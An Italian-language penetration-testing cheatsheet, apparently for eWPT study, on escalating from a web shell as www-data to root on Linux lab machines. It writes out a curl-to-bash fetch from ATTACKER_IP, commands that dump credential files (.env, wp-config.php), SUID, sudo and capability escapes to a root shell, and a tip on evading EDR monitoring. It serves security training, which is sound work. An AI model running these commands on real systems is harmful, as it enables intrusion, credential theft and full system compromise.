← Tutti i cheatsheet

eWPT · Exploitation & Post-Ex

Privilege Escalation (Web Context)

Difficoltà: Advanced Time to Master: 2.5h Prerequisiti: 04-Webshell-Deployment.md Lab: HTB (macchine con privesc post-webshell)


Obiettivo

Sei dentro, ma sei www-data: puoi leggere quello che il server web può leggere, eseguire quello che quel processo può eseguire, niente di più. Quasi nessun lab (e quasi nessun engagement reale) finisce lì: il salto da questo utente a basso privilegio a qualcuno con accesso pieno al sistema è dove si gioca il resto della chain, ed è anche la parte più simile a un puzzle — enumeri il sistema, trovi un dettaglio che qualcun altro ha lasciato scoperto, e lo usi.


Concetti chiave

Vettori più comuni in contesto post-webshell

Vettore Comando di check
SUID binary find / -perm -4000 2>/dev/null
Capabilities su binari getcap -r / 2>/dev/null
Sudo senza password sudo -l
Credenziali in file di config grep -r "password" /var/www/ 2>/dev/null
Cron job scrivibili cat /etc/crontab, ls -la /etc/cron.*
Kernel exploit noto uname -a poi ricerca CVE

Strumenti

Tool Comando base Output Note
LinPEAS curl -s URL/linpeas.sh \| bash report completo enumerazione script automatico, molto rumoroso
linux-exploit-suggester ./les.sh kernel exploit candidati incrocia versione kernel con CVE noti
WinPEAS eseguibile su target Windows report completo enumerazione equivalente Windows di LinPEAS

Payload / Esempi

Esempio 1: enumerazione automatica con LinPEAS

# sul tuo host, servi lo script
python3 -m http.server 80

# dalla webshell/reverse shell sul target
curl http://ATTACKER_IP/linpeas.sh | bash

Spiegazione: LinPEAS evidenzia automaticamente (in colore) i vettori più probabili: SUID sospetti, cron scrivibili, credenziali in file di configurazione trovati durante la scansione.

Esempio 2: credenziali riusate trovate in file di config web

cat /var/www/html/config.php | grep -i "pass\|user"
find / -name "*.env" 2>/dev/null -exec cat {} \;
find / -name "wp-config.php" 2>/dev/null -exec cat {} \;

Spiegazione: è comune trovare credenziali DB nel config.php dell’applicazione compromessa: verifica sempre se sono riusate per un account di sistema (su username) o per SSH.

Esempio 3: SUID binary sfruttabile

find / -perm -4000 2>/dev/null
# se trovi, ad esempio, /usr/bin/find con SUID:
find . -exec /bin/sh -p \; -quit

Spiegazione: consulta sempre GTFOBins per il binario SUID trovato: molti binari comuni (find, vim, less, python) hanno una tecnica nota di escape verso una shell privilegiata.

Esempio 4: sudo senza password su comando specifico

sudo -l
# Output: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'

Spiegazione: anche un singolo binario consentito senza password in sudo può bastare per un escape a shell privilegiata, sempre verificabile su GTFOBins.

Esempio 5: Linux capabilities su un interprete

getcap -r / 2>/dev/null
# Output: /usr/bin/python3.9 = cap_setuid+ep
python3.9 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Spiegazione: una capability come cap_setuid assegnata a un binario permette di elevare a UID 0 senza che il binario stesso abbia il bit SUID classico (find -perm -4000 non la rileva): verifica sempre anche le capabilities con getcap, e consulta GTFOBins nella sezione “Capabilities” del binario trovato per la tecnica esatta.


Evasion / Bypass Techniques

Ridurre il rumore di LinPEAS/enumerazione automatica

Se serve stealth, preferisci enumerazione manuale mirata (SUID, sudo -l, cron) invece di script che generano molte letture/scritture su tutto il filesystem, più facilmente rilevabili da EDR/monitoring.


Lab Hands-On

Lab 1 (HTB): privesc da www-data a root post-webshell

Obiettivo: completare la chain da RCE web a privilegi massimi Difficulty: Difficile Time: 1.5h

Walkthrough breve:

  1. Enumera con LinPEAS o manualmente (SUID, sudo, cron, config file)
  2. Identifica il vettore più promettente
  3. Verifica su GTFOBins la tecnica di escalation per il binario/permesso trovato

Common Mistakes

  • Correre subito a LinPEAS senza guardare prima manualmente sudo -l e file di config dell’app -> spesso la credenziale riusata è la via più rapida, già visibile senza tool
  • Non consultare GTFOBins per il binario SUID/sudo trovato -> spesso la tecnica esatta è già documentata lì


Connessioni


Checklist di padronanza

  • So enumerare manualmente SUID/capabilities/sudo/cron/config
  • So usare LinPEAS e interpretarne l’output
  • So consultare GTFOBins per una tecnica specifica
  • Ho completato almeno una privesc end-to-end su un lab